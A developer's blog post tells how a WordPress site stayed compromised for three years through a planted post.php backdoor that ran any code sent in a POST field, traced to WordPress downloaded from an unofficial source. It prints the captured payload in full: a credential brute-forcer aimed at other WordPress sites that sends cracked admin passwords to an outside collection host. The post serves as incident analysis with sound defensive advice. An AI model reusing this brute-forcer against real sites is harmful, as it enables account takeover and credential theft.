Fixing a 3 year old hack

One of the sites I worked on was regularly getting hacked. The attacker did not leave much traces and eventually we learned how to deal with the symptoms of the attack rather than fix it. The common agreement was that maybe he was exploiting a bug in the framework. Recently, I did a deployment and didn't follow the exact procedures and we got hacked again. I got mad for getting blamed for it and decided it was time take a deeper look into the problem.

Finally I found the issue. I found how we were getting hacked. Even though this is a technical issue I decided to not just point where the problem is and the fix but to tell you the story. So here is my attempt to say A good programmer download applications only from the original source.

The attack

The website in question relies mostly on Google search traffic. The attack consisted of redirecting some of the search traffic to a sort of referral program where the owner can make money. Every once in a while we would notice a drop in traffic in our reports. This was the first sign that we were getting hacked.

Looking at the source code, a random file in the cache folder was modified and an eval(base64_decode(...)) was injected. For some reason no one took the time to understand what the malicious code was doing. The code was just deleted in disgust and we moved on. Not this time though. I was not going to get blamed for not using a hack to circumvent another hack. This time I decided to decoded the base64 string and study it. What I discovered is that this code ran only a low percentage of the time to remain undetected. Other times, it called the mother ship to get updated instructions.

Fixing the symptoms

We couldn't find how the code was injected so what we did was to make the cache files not writable after they were first generated. Even though this worked, the site was still vulnerable for few moments after deployment: after the cache files are generated and before permissions were set. This only solved the redirecting problem but we still had no idea how the attacker was getting in in the first place.

This was the fix that was implemented and documented. Every time we hire someone new, we would have to explain this process. With high employee turnover rate, you would understand how we sometimes forgot to instruct the newbies. If the attacker had a way of running code on the server there were a lot more things to worry about then writing in the cache folder. Eventually I did find other things to worry about.

Hunting for the real problem.

We are currently moving the site to a different framework, and supposedly this would also fix the caching problem. Although I have tried to convince in vain that this won't make a difference it was still the idea we were going for.

I started looking at the error logs for the particular day of my deployment. It would have been much easier if we handled our PHP warning a little better. There are a lot of errors that could be safely ignored but a few of them stood out. There were POST requests made to a particular file in the blog folder. The blog uses Wordpress and the core code is only changed when there is an official update.

The file name post.php was generic enough to be overlooked just like one of the many Wordpress files. But when I opened it had a single function:

Yes, it evaluates any code that was inside the $_POST['php']variable. The attacker could basically know the structure of the whole server. Just changing the framework will make absolutely no difference since they could simply scan the directories and check which files are writable.

It turns out when they couldn't write on the server they found a whole new use for it. I added a log to see what code was being sent to us to run and let it run over the weekend. Almost every 2 hours there was new request:

<?php
$uid="573393";
$dbpart="...
...
... List of website to bruteforce ...
...
";
$gate="http://fdhshz4fd.4pu.com/wpbr/gate.php"; // Mother ship
set_time_limit(0);
ignore_user_abort(1);
if (@ini_get('open_basedir') or @ini_get('safe_mode')){
exit;
}
$pasarr="...
.... Very long list of \n seperated passwords for bruteforcing ....

";
function curlu ($url,$ua,$cookie,$ref,$post) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    curl_setopt($ch, CURLOPT_USERAGENT, $ua);
    if (!empty($ref)) {
        curl_setopt($ch, CURLOPT_REFERER, $ref);
    }
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_NOBODY, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    if (!empty($post)) {
        curl_setopt($ch, CURLOPT_POST,1);
        curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
    }
    if (!empty($cookie)) {
        curl_setopt($ch, CURLOPT_COOKIE,$cookie);
    }
    $response = curl_exec($ch);
    $header=substr($response,0,curl_getinfo($ch,CURLINFO_HEADER_SIZE));
    $body=substr($response,curl_getinfo($ch,CURLINFO_HEADER_SIZE));
    $resp['page']=$body;
    preg_match_all("/Set-Cookie: (.*?)=(.*?);/i",$header,$res);
    $cookie='';
    foreach ($res[1] as $key => $value) {
        $cookie.= $value.'='.$res[2][$key].'; ';
    };
    $resp['cookie']=$cookie;
    $err = curl_error($ch);
    $inf = curl_getinfo($ch);
    print_r ($inf);
    curl_close($ch);
    return $resp;
}

function checkvul($passar,$host){
    $ua="Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"; // Pretend to be
    foreach ($passar as $pass){
        $post['log']="admin";
        $post['pwd']=trim($pass);
        $post['testcookie']=1;
        $post['wp-submit']="Log In";
        $post['redirect_to']="http://".$host."/wp-admin/";
        $url="http://".$host."/wp-login.php";
        $page2=curlu($url,$ua,"wordpress_test_cookie=WP+Cookie+check;","",$post);
        $page3=curlu("http://".$host."/wp-admin/",$ua,$page2['cookie'],"","");
        if (strstr($page3['page'],"theme-editor.php")){
            return trim($pass);
            break;
        }
    }
}
$hosts=explode ("\n",$dbpart);
$passar=explode ("\n",$pasarr);
foreach ($hosts as $host){
    $host=trim($host);
    if ($host){
        $passar[]=$host;
        preg_match ("/^(.*?)\./",$host,$hri);
        $passar[]=strtolower($hri[1]);
        $whoa=checkvul($passar,$host);
        if ($whoa){
            $results.=$host."@".$whoa."\n";
        }
    }
}
$post['uid']=$uid;
$post['results']=$results;
$a=curlu ($gate,"","","",$post);

In other words, our server was being used to brute-force other Wordpress sites. A list of websites were given with a dictionary of popular passwords. Our server runs the code and when a working password is found, it is sent back to the mother ship.

I searched all the server and this was the only entry point I found. The server hasn't been hacked since I found the point of entry. I am still reluctant to say the problem is solved because the attacker had access to the server for over 3 years.

How did this problem occur in the first place.

The culprit was the post.php file. The good thing is we use version control and we can see the exact time the file was introduced in the system. It was introduced when the blog was first checked in. The question is how can this file be part of Wordpress? The developer that added it no longer works here but I am not blaming him... entirely.

I have seen this type of hack before. The first time I downloaded Wordpress for my own blog, because I was a complete noob, I downloaded it from an unofficial source thinking it is all the same. So my admin dashboard was full of ads, weird plug-ins and whatnots. So I would like to believe that this version of Wordpress was downloaded from an unofficial source.

Conclusion

Is there a morale to the story? Yes, download Wordpress from wordpress.org. When you are presented with a checksum, md5 or SHA512 before you download an application, check to make sure they match after you download. Avoid downloading cracked versions of apps. It is always more secure to get things from the official source then from somewhere else.

Check that wordpress blog you have, check for post.php you never know. You can do a recursive search of the term eval or base64 on your file system. This hack could have been spotted long a very long time ago, but sometimes politics in a company can be its worse enemy. No resources where ever allocated to deal with this issue. Unless someone higher up can take credit for it no one would ever fix it.

One last thing. Cleanup your error logs. Make sure your PHP website runs with no warning whatsoever. I do not mean to turn off errors. I mean fix all the errors. It is much easier to spot problems in your error log if it is cleared of all the junk, plus you will also enjoy a faster website.

---